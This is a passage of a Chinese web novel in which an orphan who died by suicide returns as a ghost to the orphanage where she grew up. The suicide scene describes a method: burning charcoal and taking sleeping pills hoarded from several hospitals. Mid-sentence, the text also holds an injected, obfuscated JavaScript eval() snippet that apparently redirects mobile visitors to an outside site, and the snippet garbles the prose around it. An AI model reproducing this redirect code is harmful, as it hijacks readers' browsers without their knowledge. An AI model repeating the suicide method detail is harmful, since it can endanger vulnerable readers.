《《菲比的岛上日记》》 1. 菲比 在二〇〇四甲申年五月六日立夏第二天的日子，我死去了，死于自杀。我似乎脱离了人间所有的束缚，却短暂地困入了一场新生的冰火之中。 我生来便一丝/不挂，到后来也赤条条浑身无一物，而灵魂处于这个冰火两重天的世界忽冷忽热，像坟墓周和山野间的幽蓝磷火，起起灭灭。 你想知道我是怎么来到这世上生存的吗？——我从一出生开始就不知道我的父母是谁，因为我只是一个从福利院长大的女孩儿。 我从孤儿院得知，我是被不知何人包裹着一件黑色夹克放在编织篮里，便丢到孤儿院门口的孩子……我从小到大在没有安全感中生活着，虽然总觉得有什么人在冥冥之中守护着我，但是面对现实里始终孤苦伶仃的一个人，在以往不自爱，也从未被足够而真实地爱过时，便很缺乏安稳感和自信心。尽管我常常在梦境里梦见我的妈妈，她在我的白日梦和夜梦里时不时出现，帮助我度过各种难题，可是我在少年以后再也梦不到她了…… 当我成年不久，我在离开孤儿院的某一年首次尝试自杀了，那是二〇〇四年五月六日的夏天。初夏的天气还没有那么炎热，漂浮着白云的蓝色天空里出了点儿太阳，窗外来来往往的人们每日都很热闹，而我的天地一如既往的冷清，那时我很平静地闭眼，等待死亡的降临。 我待在住处烧了煤炭并吃上很多药。当我烧煤和吃药的时候，我莫名感觉很费劲，做这些事情的动作十分沉重吃力，似乎有一股力量在阻止我，但这未知的力量比不过我自杀的决心。我还吃了一点点攒起来的安眠药自杀，这是我从不同的医院隔一段时间开来的药物，这些积少成多的安眠药，足够使我毙命。 我在接受自己所抉择的命运时，房间里十分宁静寂寥，而窗缝里传来微风和草木的摇曳声，以及附近街上呼啸而过的车辆鸣笛。接着，我的呼吸一点点被剥夺，一阵灰暗弥漫四周，渐渐斑驳的黑暗侵入我的眼睛与脑海，这不同于睡觉和入梦，死亡的濒临感终于如我所愿深沉地来了。 我的心跳咚咚地强烈加速，整个人在那阵说不清道不明的痛苦过后，灵魂好似从躯体里抽离了出来，我和周围的一切都变得朦朦胧胧，意识轻飘飘的，我漂浮着甚至感觉到莫名的舒适、柔软与祥和，然后我回头亲眼看到了自己的躯壳躺在床上像睡着了一样，我的意识俯视着人间的那个我…… 这种死亡时释放的舒适只是片刻的，很快一切变得混乱起来，在我死亡之际，一阵强烈的白光闪过，我的灵魂骤然被吸入了什么地方，不知身在何处，随后我预见了熊熊大火，我的眼前充满了奇怪的火光和男人与女人空荡的呐喊声，我死后那瞬间仿佛来到了某个具体的现实地点，真实地来到一片大火之中，我听到忽远忽近的房子里有人在呼救。 接着，我再次看见附近的房屋慢慢燃烧了起来，我听到人们在哭天喊地地求救，我下意识挣扎着奔入房间里想救谁，可是我如无头苍蝇似的无能为力，我的灵魂乱抓乱跑，我不知道我最后有没有救到人或者其他的灵魂，我只以为这是十八层地狱的业火。 在这片可怕的火光渐渐远离我的意识以后，我走马观花地回首昔日的福利院、上过的学校和短暂工作的地方，所有的场景花花绿绿地一晃而过，令我捕捉不到固定的画面。 走马灯不一会儿，我又被之前那阵令人眩晕的白光拉到另一个熟悉的地方，我好像来到了很多年前，我恍惚地看见了童年记忆里的孤儿院，这时候的孤儿院比较陈旧，还没有后来装修好的那样焕然一新。 然后，魂影仓促的我甚至看见了小时候的自己，准确来说是奶娃时期的我，我知道她是我，我看见过自己婴儿时期的照片。那不知何时被人放在门口的婴儿，果然是裹着一身黑色夹克，她可怜兮兮地躺在编织篮里，不知是害怕还是被冻得瑟瑟发抖，连哭声都很低弱，看起来几乎快冻病了。 我不明白自己是在濒死意识所创造的旧日时光里，还是确乎回到了多年前，我只是下意识去通知院儿里的人们，福利院门口睡着的门卫被我推醒后，终于发现了门口冻伤的婴儿。 当我碰到门卫爷爷那一刻，我发现我读到了他的梦境，他在仙气飘渺的山间喝茶，也在波光粼粼的野生河中央钓鱼，有两个他在享受梦境创造的安宁，我不是很忍心打扰门卫爷爷的好梦……在我冲动地推了一下他睡着的躯体之后，爷爷的梦境似乎随着外界而演变，周围的环境变了，两个他迅速飘向彼此骤然合二为一，如武侠场景，他便猛地从悬崖上掉了下来，于是他浑身抖了一下就醒来了。 门卫爷爷醒来的那一刻听到了门口婴儿的哼唧声，他缓过来寻着声音找到了门柱角落里，老人惊呼一声叹息后，他皱着粗糙的眉头，目光严肃地观察了周围片刻，想看看丢孩子的人有没有存在周围。良久，门卫爷爷都没有发现什么可疑人物，他便抱起了编织篮子小跑着去找新到任不久的院长。 虽然我推醒了门卫爷爷，但他自从醒来以后就一副看不见我的样子，不论我怎么在他周围跳动起来挥舞手臂，他只是自顾自做着自己应该做的一切，完全把我忽视掉了。 院长刚接手这家孤儿院正忙碌呢，门卫爷爷的到来打断了她手头的工作，他们为这个弃婴的事交接过后，看着编织篮里半岁左右的孩子，一起唉声叹气。 我是院长妈妈到任这家孤儿院以后接收的第一个孩子，门卫爷爷和院长李梅香可称为我的再生父母，想了想也包括我自己的灵魂吗？ 我的名字是李菲比，我一向很乐于向别人介绍自己的时候，告诉别人，菲比俩字取自价值不菲、无与伦比这两个成语的意义。我的姓氏来自院长的姓，也来自百家姓。 这是院长在确认找不到我的家长，而接受我这个弃婴那一刻，又是心疼又是愁地亲自为我取的名字。我是在一九八四年那一年寒冷的冬天，在县城里的私立孤儿院门口被门卫爷爷捡到的，我从小已获知此事。 我们那个年代的福利院大多都被人称为孤儿院，等我长大一些后，我和院儿里的朋友向院长妈妈表达出其实我们不喜欢院名叫孤儿院，我和伙伴觉得其他大地方收容我们这种孩子的儿童福利院，名称更为合适，至少不那么刺耳。这是我们从社会爱心人士嘴里听到的名称——儿童福利院，因为他们常去别的大城市关心其他的孩子。 毕竟在明面上我们讨厌别人称呼我们是孤儿，这不经意间提醒了我们的身份。 当时我和几个孩子合伙给院长妈妈写信了，于是梅香妈妈听到了我们的心声，便从善如流地把孤儿院改为了儿童福利院，也在口头上把福利院改为了彩虹儿童院。并且院长妈妈还把院门口的牌匾上，加入了彩虹福利院一行字呢。 以前彩虹儿童院在口头上也不叫这个名字，而是叫作壁虎孤儿院，壁虎断尾可再生，寓意是希望我们这些孩子重新开始——新的生活。院长后来和我们一起把福利院取名为彩虹儿童院，是非常希望我们能健康快乐即好，像彩虹的颜色一样拥有五彩缤纷的生活。 在福利院换名事件之前，院里有着一些可怕恐怖的黑暗传闻，我和其他孩子听说上一任的老院长总是奴役孩子们，让大家跟奴隶似的干很多苦力。 虽然梅香院长也让我们做些活儿，但是她的初衷是让我们互帮互助锻炼生存的能力，只是训练孩子们学会做力所能及的事情。而以前的老院长基本不把孤儿当人看，他丝毫不尊重孩子们，连家里的卫生都是让孩子们去打扫的，而且他家所有人的衣服和内裤都是命令孩子们洗干净，并且时刻有小孩奴隶在他们家值班待命。 因为他们要是回到家里的玄关处，孩子们就不得不跪下帮他们脱掉名牌鞋，再换上舒适的拖鞋，老院长如果想洗个脚，就会有孤儿端来洗脚水甚至替他揉臭脚。然后其他孩子会站在他的身后给他按摩肩背和喂东西吃，这些食物是管厨房的大孩子做的，没有人敢偷吃。因为曾经有个孩子偷吃东西，被老院长不断地按在水池里喝饱了水。 还有的孩子要帮老院长一家搬重物、打扫很脏的地方或者跑腿做事，反正所有的苦力活都是孩子们干的，老院长一家子把大家使唤得跟家狗一般，他们只需要动动嘴皮子吩咐佣人似的传达命令即可。 要是孩子们做不好这一切，老院长是会狠狠地惩罚大家的，这个丑陋的魔鬼不是打骂体罚孩子，就是给他们加派更多的重活儿从早做到晚。因此这家孤儿院所有的孩子都非常害怕前任院长，那是一个极为压抑的时期，后来彩虹儿童院里也四处是前院长的流言蜚语和恐怖故事。有些工作人员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630343|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓唬不听话的孩子时，会故意沉声说：我们把老院长叫回来你就知道好歹了，他会狠狠地抽你一顿，笑着扇你的耳光，不给你吃饭，但把你按在水里喝水就能喝饱，他喜欢扯你的头发，撕烂你的衣服…… 那老院长其中一项惩罚人的方式甚至是猥亵儿童…… 后来他被来孤儿院探望孩子们的好心人联手举报以后，最后闹上了新闻，他就迫不得已下了台，坐牢去了。 每当我听到老院长的各种传闻，我都非常庆幸是新到任的梅香院长收留了我，梅香院长后来也收留了很多其他的孤儿。 这些孩子都是怎么来的呢？ 他们大部分是被遗弃的，有的孩子有先天性疾病被弃养，有的孩子被危险地丢在路边，有的孩子被丢在脏臭的垃圾桶里，有的孩子被丢在了充满消毒水味的医院……某些女人在医院生了孩子，费用都不交，把孩子丢在病房就逃跑了。有部分孩子则是因为父母双亡，爷爷奶奶和外公外婆去世了，也没有什么亲戚，就只好来到了福利院。 而我们的彩虹儿童院在梅香院长井井有条的管理下，真正地帮助孩子们开启了一段新的生活，没有再那么压抑了，虽然很多地方也不尽如意，但是她也是尽量组织工作人员给了我们好点的生活。 院长妈妈虽然对我们不错，有时和蔼可亲，有时严厉育人，但她实在是很忙碌，既要顾着院儿里所有的孩子和员工，又要顾着给福利院筹集需要的资金，最后还得接待各类外来人员，比如政府的人员、想要参加活动做志愿者的爱心人士、有钱的善人或者只是沽名钓誉的知名人士…… 彩虹儿童院里的部分老师和保育员妈妈人很好，而有些参与者文化程度低也没素养，或者照顾我们的时间久了以后不耐心，私下对孩子进行撒气的事也是有的。虽然那部分大人待我们有点粗暴，起码也是在做事实，我们知道她们常年累月管那么多孩子属实不易。 很多孩子时常都会叫他们妈妈和爸爸来讨好人，特别是对外来进行探望的大人，我有时也会这样叫人，并且向他们索要拥抱和皮肤上那种亲切的接触，就是与大人拉个小手也是格外满足的。 某些富豪和知名人士会资助我们彩虹儿童院，并请来育儿老师和能教我们更多东西的老师，专门给我们上课。有时某部分最开始对院儿里进行资助的人们，或者自己有了困难支援不了，或者不知什么因素不再捐助福利院，从而断了金钱和物资供应以后，当地政府也会帮忙筹措资金和物资。 彩虹儿童院的生活既让人无助，有时候又觉得勉强是幸运的。 不过的确有很多人关心我们，可是这里面真心的人有多少呢？ 不得不说，我非常讨厌举办劳什子爱心活动，很多时候在这种众目睽睽的场景下，我们太像动物园里被围观的动物，或者是马戏团里被迫表演的各类动物。 不只老师事先强迫我们彩排表演，各路领导当众对我们无礼地问来问去，之后进行颁奖典礼似的，他们在大庭广众之下，以俯视的目光给我们发各种东西，并摁头感恩，这群野猴子还会对我们进行拍照暴露到外界甚至上报纸，也要求我们协助他们重复地摆拍，比如拍出他们“好心”施舍我们金钱的画面，刻意拍下把东西交到我们手上的“荣誉”时刻…… 对于这群热衷表演爱心的人，我和院里的伙伴私下都在辱骂他们：献他爹妈的臭爱心，一堆臭彪子，我们没有感受到爱心，只有恶心!这群真正的野人当我们是猴子取乐呢？!去他祖宗十八代!真想把他们的祖宗十八代也挖出来给人围观表演! 这种类似的脏话，我们是从用方言骂人的生活阿姨嘴里学来的。 梅香院长为了拉资助有时不得不让我们配合一下，等过后资金充足的时候，她也不愿意再让我们进行这些折磨儿童的活动，再到后来她学会向外界的捐赠者提出要求，严肃地沟通表明得保护孩子的隐私，不要随意拍下孩子的照片传出去，这显然侵犯了我们的肖像权和自尊。 她私下说，其实以前献爱心活动的时候，她在旁边看着有些大人过分的举动，把我们当猴耍，心里也不是滋味儿，就好像她的孩子被人取笑了一样。 嗳，有了梅香院长的呵护，我们就这样在福利院生活得坎坷又幸运。 2. 蒲公英 生命如此坚强而又美好脆弱，我是蒲公英一般飘荡着能重新扎根的菲比，虽然我几乎死去了，但我拥有自由的灵魂，能重新思考我的生命。 这一场赴死的抉择出现了意外，我不仅没有消失，我的灵魂反倒被困在了很多年前，但慰藉的是我能够陪伴童年的自己。 当我遇见婴儿时期的那个自己是如此稚嫩可人，不免对她也产生了保护欲，回神过来突然觉得我怎么舍得伤害孤苦的自己呢？即使我是想结束这一切，不想再一个人无依无靠地走下去，希望什么都烟消云散，生命不存在的话也就无法折磨我，可是在我看到初生的小菲比以后，我的想法动摇了。 她喜欢睁着乌溜溜的眼睛吐口水泡泡，她得不到大人的关注时爱哭，她喜欢有人哄她睡觉，她好像看得见我……我发现我的灵魂能用意念让她的小身体稍微漂浮起来并摇摇晃晃，有时我的灵魂还环抱着她，她才愿意入睡，而且睡得安稳些。等小菲比睡饱醒来，她看见我的灵魂依然存在时眼睛都发亮了，我搞怪地与她互动得开心了，我也逐渐开心了起来，暂时忘记了自杀前的那种阴霾。 灵魂游荡的我无事可做地安抚这些奶娃，彩虹福利院里的工作人员太忙了，一个人就得管好多个孩子，因此她们没多少时间顾仔细每个孩子，也尽量不去拥抱孩子们，怕大家产生依赖麻烦她们，有的孩子甚至从来没有得到过一个拥抱。尽管孩子们渴望拥抱和肌肤的触碰，在长期得不到关注后，所以孩子们大部分逐渐不哭不闹，习得性无助麻木了。 当然有些工作人员也是纯粹地偷懒不想管小孩，自然有孩子愤怒过，可是愤怒地哭闹都得不到任何关注，这种孩童愤怒暂时就延缓并停止了。而孩童之怒延长到了我们以后的成长当中，深深地埋在了我的性格里，比如我常常很无措地在原地打转，只渴望别人来拯救我，希望别人帮助如此无助的自己，如果没有他人的关照，我的内心就会动荡不安，有时是为一点小事吵闹不止，有时是不敢奢望别人的好意，但凡得到一点关爱就想拼命回报别人…… 我成年的灵魂告诉自己，是啊，事实上没有人能够拯救自己，父母都靠不住你还想靠谁去呢？但你已经长大了，不是可以依靠自己了吗？ 我现在是否拥有新的一次机会去成长，去改变自己悲哀性格的命运呢？这是上天的安排和眷顾吗？ 当我看着房间里那些不哭不闹的孩子，看着小菲比婴儿哭闹不止地索要关注，却难以得到安抚的时期，便想起我自己抑郁的性格和他们之中某些人长大以后的自闭情况，此时我更想起了华生实验的哭声免疫法和情感隔离法，以及他三个孩子的下场。 华生忽视儿童的情感需求，对哭泣的婴儿不闻不问，几乎不给他们肢体接触等，妄图以此训练孩子的独立性，其结果是他的三个孩子长大以后都有了严重的心理问题，长子自杀，次女酗酒并抑郁，最小的那个孩子后来也丧失了工作能力，最后生活都无法自理。 以及罗马尼亚婴儿集中营事件与此事性质相同，这些童年没有得到爱并被虐待的孩子，身心都有了各种缺陷，很难真正的独立起来。 我的灵魂为了补救，为了不让童年的小菲比留下过多的创伤和缺乏安全感，于是尽量在小菲比的婴儿时期及时逗弄着关注她，我安抚得没那么到位，总算也差强人意。我有空也会顾着附近的其他孩子，帮助我那些童年的小伙伴。 后来，每当我遇到困难，我会告诉自己，没有人能依靠的时候，你还有自己啊。 比如小菲比上小学的时候，数学老师会扯她的头发和掐她的手臂，在某次老师伸手刚刚碰到她一两下后，她就在我的示意下跑出去大哭，大声哭喊老师掐她、打她，我也在她身上设下淤青。我记得这个老师确实虐待过我，她甚至当众扇打过别的孩子 。 我在小菲比的梦境里教她反击没有师德的老师，以及写信求助他人，寄信给常来福利院的有社会地位的爱心人士，于是志愿者向教育局举报数学老师之后，对方后来被调查了。 还有老师认为小菲比是外地人得滚出这个省份，她会反击对方是世界上最丑的女人，惹得课堂上的孩子们哄堂大笑，就算挨打她也得学会反击。 在那个年代素质差的老师概率有些大，我有好几次看见过他们扇学生的巴掌，平时总是肆意地打骂学生发泄情绪…… 在小菲比是婴儿的时候，我对自己最尽责，灵魂几乎从早到晚守着她，我除了总是逗她开心，也会帮忙逗逗周围的孩子，但也得选人，有些孩子比较幸运似乎看得见我，有些孩子则看不见我。对于看不见我灵魂的孩子，我怎么逗弄也没什么办法让他们感受到有人在关爱他们，我最多利用我的意念能力借助其他的小玩具和他们一起玩。 我就此认真地陪伴小菲比，不管是她躺在床上还是从她牙牙学语，我经常逗得她笑出清脆的奶音，有时房间里出现她和其他孩子看着我笑的场景，此景被路过的保育员妈妈看见以后，她们也嘀咕说是不是小孩子看得见不干净的东西。我哼了一声说，我才不是不干净的东西。 我叫小菲比是宝贝，我自己喊自己宝贝呢。从小我就渴望有人能喊我宝贝，给我很多的爱。原来杀我的是自己和这个社会，但满眼爱过自己的也是我。某一刻，我愈发顿悟了自爱的道理。 小菲比在小时候基本看得见我，等到她再长到小学高年级就看不见我了，也会逐渐忘了看得到大菲比灵魂的事情。 我在记忆里知道有谁帮助过我，可是已经记不清是什么情况了。从前我潜意识里觉得始终有人守护着我，原来这种感觉是这么出现的。我终于明白自己从小会反抗别人的勇气是怎么来的，原来也是自己给的底气，可惜长大后的菲比忘了这一切，只剩潜意识的感觉。 我的灵魂刚来到很多年的那阵子，我一直守在福利院没怎么去其他地方看看，我一边照旧守护着小菲比，一边开始观察周围的那些灵魂。院儿里徘徊着一些父母和老人家的灵魂，他们去世以后，孩子们只能被交到福利院接受民间社会的抚养。 于是不放心的他们没有暂时往生，也在这里默默爱着自己的孩子们，我们互相打过招呼，他们以为我也是死去的年轻妈妈呢，我没有解释，如果他们不追问，我也懒得说出事实。听说他们的愿望还了，就能去天堂或者灵魂的世界，能从人间消失去光明里。 我的灵魂滞留在此是否因为没有还愿呢？是因为小菲比吗？又觉得不太算是因为童年的自己，我仔细地想了想心中的遗憾，便问出一句我的父母呢？不论是生前还是死后，我都从未见过他们。 我很羡慕其他知道自己身世的孩子，就算那些知道自己是被遗弃的孩子，他们心中都能有确切的答案，从而死心。不知道身世的我只会不断去猜测各种可能性，对此浮想联翩，假若想到好的结果，我会迫切地想证明我不是被抛弃的孩子，只是无可奈何地来到了彩虹儿童院；假若我想到坏的结果，我就会独自沉溺在悲伤之中，然后对未知的家人和社会充满了怨恨。 当然不同的孩子想法自然不一样，也有其他孤儿觉得待在咱们彩虹儿童院是很不错的感觉呢。因为他们有的孩子总被以前的家人恶劣地对待，那些畜生仗着是亲生父母就肆无忌惮地殴打无辜的孩子，也进行恶言恶语地精神/暴/力，还不停地奴役他们干苦力活儿，简直像待在老院长家里一样，对于这样的父母去世了，他们没有多大遗憾。 也有的孩子家人去世后，他们就被送来了，不得不接受这样的命运，他们的心态还算和平，从不怨谁，觉得能得到彩虹儿童院的照顾和社会的资助已经足够了。 我在福利院曾经的一个好朋友张满秋以前对我说过，她的父母一个去世，一个抛弃她远走以后，她就跟着唯一的亲人奶奶生活了，只不过她在老家的生活很贫困难熬，总是吃不饱、穿不暖，而且奶奶年事已高生活不大能自理，小小年纪的她还要反过来照顾老人家呢。等奶奶老死了，她就懵懵懂懂地被村长领来了福利院，村长好声好气地请梅香院长收留她。 她觉得待在彩虹儿童院的日子比在村里的时候好多了，她在这里吃得多，住得好……此处起码不像她老家的房顶破破烂烂漏雨，要她哭兮兮地爬上去补房顶，她和奶奶也经常没东西吃，她便到处去乞讨，而遭人白眼…… 满秋讲道在彩虹儿童院多亏了大家的资助，这里有很多她从前不敢奢望的东西，有生活阿姨帮她洗衣服洗床单，有哥哥姐姐照顾着带她一起玩，有各界人士捐赠的书本、钢笔和玩具等物资，有时候梅香妈妈还会组织大家一起在院子里看电影。在这里没有人会肆无忌惮地虐待她，小时候她被父母经常暴打吼骂的场景历历在目，虽说彩虹儿童院里有些妈妈不耐心，但顾及着梅香院长的威严和社会人士的关注，她们皆不敢太过分。她更不用再去照顾一个屎尿失禁的老人，把生活搞得一塌糊涂，生活是多么的艰辛啊。 尽管张满秋也讨厌有时与捐赠者互相进行表演那种事，讨厌被很多领导审问，讨厌被摄影师拍下来，讨厌被记者采访，讨厌被很多人围观看热闹……但是彩虹儿童院里的工作人员对外大部分还是很护着自家孩子的，没有经验的梅香妈妈后来也知道与捐赠者约法三章，让福利院在受到资助的同时，立下原则保护到了孩子们的感受。 重要的一点是，满秋在彩虹儿童院里最喜欢的人是梅香院长妈妈，其次是对孩子和蔼却对外人生硬的门卫爷爷，然后是好朋友，她最后的这些想法跟我一模一样。当时，我坐着举起双手，也抬起了双腿，用四肢一起赞成她最喜欢的人们。 张满秋和我相同的另一个地方是，后来她还把姓氏改得和院长妈妈一样，她就变成了李满秋。做李满秋不久，她很快又变成了其他姓氏的满秋，这个可爱的朋友在八九岁时被人领养了呢。 梅香院长巴不得把孩子都推荐出去，给有条件的人领养过上有小家庭的日子，可很多孩子都有先天疾病别人不愿意领养，少部分健康又年纪小的孩子容易被领养，年纪稍微大点能记事的孩子就不容易被领养了，有些大人怕养不熟。 是以我觉得满秋还算幸运。 有时我想也许是她足够知足，上天才让她比我幸运一些，她知道自己身世的来龙去脉，能在彩虹儿童院自主生活得滋润，后来还能被养父母带去更好的地方生活，也是苦尽甘来了。 满秋在刚读小学的年纪就离开了彩虹儿童院，我衷心地祝福她永远幸福下去，以后过得越来越好。 我们离别时抱头痛哭，互相赠送了一封手写信，到后来她偶尔还带着养父母来探望我和其他姐妹兄弟，甚至央求养父母发零食和各自想要的玩具给我们。因为满秋记得她在老家和彩虹儿童院的时候，最想得到这几样东西。 然而对于捐赠者发零食和玩具这种事，是工作人员不太喜欢的，因为这时候院儿里 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自从我被领养走又被送回来，内心产生了些阴影，让我的性格古怪孤僻了一点。不过还好那会儿我太小，记不得很清楚具体的情况，也是懵懵懂懂的被人带来带去，到了懂事以后想起这等事，才后知后觉不太开怀和不甘心。 令我印象更深刻的是在寄养家庭，我在寄养家庭待的某一日，那对临时的父母吵架激烈，甚至动手扭打起来，俩人最后坚定地离婚了，我自此对寄养家庭也有了阴影，还觉得是我自己的到来导致叔叔和阿姨离婚了。 因此我不愿意再去寄养家庭，而且我被送去住一段时间过正常家庭的生活，后面又得回福利院，对我来说，总感到不是那么好的事情，我每次和他们难舍难分。其他的孩子希望能至少获得过温暖，可我不愿意短暂地得到又失去。不过有的孩子也能在寄养家庭待到成年为止，有的则是待几年，这得看情况。 在彩虹儿童院与我一样倒霉的小伙伴，有一个叫李柱生的男孩儿。柱生的名字同样是梅香院长取的，是祝愿他像顶梁柱一样地生长。我们很多孩子的名字都是这位院长妈妈亲自取的。 柱生先天残障，有小儿麻痹症，他另半边身体的手脚都不太方便，一只脚走路时拖着，一只手很不伶俐地弯曲着。 这个男孩儿过去也被人领养后再原路送回，那对领养人起初似乎是想锻炼他们做父母的决心，可是当他们把柱生带回家接收了挑战以后，最终被照顾病弱孩子的麻烦现实击败了，因为柱生不止有小儿麻痹症，身体也比较虚弱。 那次他被领养走又被送回来，同样对他的内心造成很大的伤害，有段时间他近乎自闭，不愿意跟任何人说话，也不想与人有视线交流，小小的整个人看起来很自卑和难过。 后来通过院儿里耐心的妈妈们，以及我自揭伤疤主动向他示好鼓励，他的心态就慢慢好了起来。 满秋离开彩虹儿童院以后，由于我和柱生相似的经历，我和他短暂地交上了朋友，他行动不方便的时候，我见了不由自主地帮助他，要是有其他的孩子欺负他，我也会站出来保护他。我难得的主动让这个性格同样内向的男孩儿敞开了一点心扉，我们走近以后，院里有些个性很欠的男孩儿笑话他是娇滴滴的女孩子，才跟女生玩得好。 柱生涨红了脸想反驳其他的坏男孩儿，他嗫嚅着小嘴巴最终没说出什么话来，一如既往地保持了沉默，我请柱生别理那些野猪脑子，他点头附和的动作是表明了态度。 有了真心朋友的陪伴，我俩在彩虹儿童院逐渐玩得开心了不少，可是上天好像见不得我有好朋友一样，也见不得柱生开心。好景不长，有一次年幼的柱生在天冷的季节生病，发起了高烧退不下去，便意外地去世了。他临终时，始终问着一句：爸爸和妈妈在哪里呀？我想他们了，柱生乖乖听话，就辛苦辛苦梅香妈妈和玉琴妈妈找到他们，叫他们来看看我好不好？ 我记得总是照顾他的保育员玉琴妈妈，在柱生病重和死掉以后都哭得很伤心。他原来三天两头生病的期间，那位保育员妈妈过年连家都不怎么回，基本上一直留守在院里照顾他和其他残障的孩子呢。 我的确伤心落寞，却没有太过悲伤，我当时觉得柱生似乎是解脱了，他终于离开了这个连我都不愿意待的地方。我年纪虽小，但不易地对死亡有模糊的概念，毕竟院里夭折的孩子有不少，我看多了这种让人不忍心的情况，自然而然就明白过来他们的永远离去是怎么回事。 我从很小的年纪就问过老师、门卫爷爷、保育员妈妈和梅香妈妈死亡是什么？他们睡着了以后会去哪里呢？ 大人全部约好了口供似的说，这些去世的孩子们都会上美丽轻松的天堂，因为他们生前没有过好的日子，死后就会得到老天的怜悯，让他们到应有尽有的天堂享福去了。天堂里有善良充满爱的父母、有吃喝玩乐的一切、能够完成所有的愿望……他们是如此对懵懂好奇的孩子解释的。 大人说话的口吻这时可温和悲伤了，转头面对弃儿的生父生母，他们恨不得咒死对方。 除了我和柱生被领养又被送回的经历，院里另有一种类似的情况是，有的小伙伴曾经被抛弃她的家人找回去了，但其实某些恶毒的父母是想把她卖给别人做童养媳，还好有旁观者察觉不对劲报警了，处理结果就是把孩子送回了福利院。或者有的不负责的父母把孩子找回去了，又觉得难养，再次抛弃他们，这些不要脸的大人之后完全跑得不见踪影。 这气得梅香院长禁不住诅咒所有抛弃孩子的父母出门就遇到各种意外身亡，一个个不得好死，日后一定下十八层地狱。 3. 大通铺 我小时候睡在福利院大通铺的许多个夜晚，常常容易感到饥饿和头晕，我躺在床上闭眼休息慢慢能睡过去，第二天就好转多了。早年的伙食没有后来那么好，以前我们大多喝稀粥，吃小半个馒头，粥里面飘着些菜叶，不喜欢吃蔬菜的满秋会把碎菜丁都挑到我碗里来。到以后彩虹儿童院物资充足起来，食堂的餐盘里几乎每日都有了肉，我晚上就不容易饿了，吃肉顶饱。 我劝好朋友不用连蔬菜都让给我，梅香妈妈说了吃菜有营养，还能通便，你最好得吃一点呀。 满秋调整好小凳子，她一边小点地掰着馒头细嚼慢咽品尝回甘的甜味，一边朝我眯着眼睛讲悄悄话说，她真的不喜欢吃蔬菜，她在老家都吃够了，吃得反胃想吐。 以前她找不到什么吃的，她就去偷其他村民浇过大粪的绿菜吃，并且经常生吃，起初她分不清哪些菜能生吃，哪些植物不能生吃，反正她饿得能偷一点是一点，悄悄摸摸地直接摘了菜，就连忙塞嘴里吞进去果腹。因此她还中过毒，回去以后上吐下泻又饿得面黄肌肉，甚至差点毒死了她神志不清的奶奶。由于她以前偷菜的时候被老头子发现毒打过一顿，此后她就当场吃食不多拿菜，这样被发现后挨打挨骂的风险就小了。以前她觉得那凶老头子怪小气的，后来知道村民一年到头辛苦种地就靠这点收成，她不懂事时成天把菜地扒拉到不成样子，谁看了不得揍她一顿。 满秋后来还去隔壁远些的村子偷水果吃，刚开始她心想这山头那么多果子，她偷点儿为了活下去，主人家也不会损失太多吧。她就当主人家发善心为她续命，以后这家人的福气会越来越好的。她每次偷别人家食物的时候，心里过意不去就要送上祝福。 等水果林的妇女主人终于发现满秋偷果子时，不仅不骂不打她，倒先是问原因，主人家知道她的身世以后，反而主动送了很多水果给她，还把家里腌制好的果酱找来送她。满秋就鞠躬感谢主人家，兴高采烈地抱着大包小包的水果回家去。这家女主人是接济了她不少次，某次她又去拿果子的时候，听到主人家的孩子埋怨妈妈：咱们家自己都快活不下去了，爸爸生了病急需要钱治病，妈为什么总是给那个叫花子送水果，你又不是她亲妈，凭她叫你一声妈妈你就心软得不像话，我外地朋友说用他老家的话来讲那个小乞丐就是讨口子，我看见那个讨口子就烦，讨口子，讨口子别来啦…… 水果妇人就一巴掌扇到她的儿子头上了，先严厉再温和地教育孩子积积口德，就当是为你爸爸做善事积福气，爸爸的病就会跟着好起来了。妈看那小妮子也怪可怜的，浑身脏兮兮到处讨饭回去给奶奶吃，妈想到如果你是她这种境况，别人帮助了你，我心里也好受了，知道不…… 妇人的儿子仍然不服气地嘟哝：可是……可是我又不是这讨口子，我就算饿死我也不会去偷别人的东西和贪得无厌地讨饭，我看她的样子是惯犯了，指不定可怜的身世都是撒谎编出来的…… 妇人一边忙碌着摘水果，一边对孩子有趣地讥讽说：呵，你真有骨气咧，嘴上说得容易，我把你丢隔壁穷村去讨饭，等你讨不着饭，你小子信不信，连别人家的屎你都要偷。你爸妈小时候老家闹饥荒，我们都偷过吃的，更甭说你啦，为了活下去干出这些事也能理解，况且老鼠的儿子会打洞，除非你不是我的儿子。再说你瞅瞅人家小妮子，衣服都破破烂烂，小脸脏得跟个花脸猫一样，你信她在家吃得饱啊？ 儿子最后只好嘀咕：妈妈的歪理就是多，我到底不是看您辛苦吗？咱家一年到头才收货一次，这么一片果林太难打理，我们都要自己累死累活地摘那些水果，我也累死了，凭什么给别人免费的水果。我们家一箱水果卖不了几块钱，根本就没有利润，您还要从村上骑三轮去镇上，去收果的厂子里，挨家挨户地问，就为了每斤贵几分钱一毛钱的……爸爸的医药费怎么办…… 少说话多做事，臭小子屁话真多。水果妇人粗着嗓子命令儿子干活儿，她满头大汗地摘完一棵树上的果子，便把一箩筐水果递给了儿子，让他把这框果子搬到货车上。 满秋躲在树林后面偷听娘俩的对话不敢现身，听完为止，她没有再去他们家拿果子了。然后她长途跋涉，中途坐了一辆顺风车去了附近条件好的村里转悠，她偷了一户人家里的钱，这户人出了名的扒皮，也很凶神恶煞。 以前她从来没有想过去偷钱，从来只偷食物。她听了那个妇人的话，想劫富济贫报答对方来着，就鬼迷心窍地偷了隔壁村里的钱。她觉得偷东西也不能老往自家村里偷，得雨露均沾地偷，偷钱的话最好还是不要在本村偷了，偷食物一般别人还会谅解甚至主动送吃的，偷钱就不好了，她去远一点的地方偷，如果被发现了也不至于臭名昭著吧。当时的她低估了各村的流言蜚语，但还好她没有被发现。 最后，满秋就把好不容易偷来的钱，放入农妇丢在树上的外套里，从此没有再去她家讨果子吃了。 